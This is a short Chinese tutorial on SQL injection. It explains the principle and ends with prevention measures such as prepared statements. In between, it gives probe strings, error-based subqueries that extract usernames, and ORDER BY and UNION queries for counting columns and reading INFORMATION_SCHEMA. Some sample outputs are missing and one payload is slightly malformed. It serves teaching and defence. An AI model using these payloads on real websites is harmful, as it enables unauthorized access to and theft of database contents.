sql注入
一.原理
SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。SQL注入是比较常见的网络攻击方式之一,是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。
二.过程
1.判断网站是否存在注入点
(1)加入单引号 ' 提交
结果:如果出现错误提示,则该网站可能存在注入漏洞
(2)数字型判断是否有注入
语句:and 1=1;and 1=2
结果:分别返回不同的页面,说明存在注入漏洞
(3)字符型判断是否有注入
语句:' and '1'=1; ' and '1=2
结果:分别返回不同的页面, 说明存在注入漏洞
分析:加入' and '1'=1返回正确页面,加入' and '1=2返回错误页面,说明有注入漏洞
2.利用错误消息提取信息
(1)利用数据类型错误提取数据
如果试图将一个字符串与非字符串比较,或者将一个字符串转换为另一个不兼容的类型,那么SQL 编辑器将会抛出异常。
例如:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
错误提示:
这就可以获取到用户的用户名为 root。
利用此方法可以递归推导出所有的账户信息:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))
通过构造此语句就可以获得下一个 用户名;若把子查询中的 username 换成其他列名,则可以获取其他列的信息。
3.获取元数据
SQL Server 提供了大量视图,便于取得元数据。可以先猜测出表的列数,然后用 UNION 来构造 SQL 语句获取其中的数据。
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
一些常用的系统数据库视图:
4.order by猜测列数
SELECT * FROM users WHERE id = 1 SELECT * FROM users WHERE id = 1 ORDER BY 1 SELECT * FROM users WHERE id = 1 ORDER BY 2 SELECT * FROM users WHERE id = 1 ORDER BY 4 --异常,超出范围
说明只有3列
5.union 查询
UNION 关键字将两个或多个查询结果组合为单个结果集,大部分数据库都支持 UNION 查询。但适用 UNION 合并两个结果有如下基本规则:
- 所有查询中的列数必须相同
- 数据类型必须兼容
用 UNION 查询猜测列数
不仅可以用 ORDER BY 方法来猜测列数,UNION 方法同样可以。
在之前假设的 user 表中有 5 列,若我们用 UNION 联合查询:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
数据库会发出异常:
可以通过递归查询,直到无错误产生,就可以得知 User 表的查询字段数:
UNION SELECT 1,2 UNION SELECT 1,2,3
三.防止sql注入
但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或传递的参数,我们应该要时刻保持警惕,这是安全领域里的「外部数据不可信任」的原则,纵观Web安全领域的各种攻击方式,大多数都是因为开发者违反了这个原则而导致的,所以自然能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所预想的。
1.检查变量数据类型和格式
2.过滤特殊符号
3.绑定变量,使用预编译语句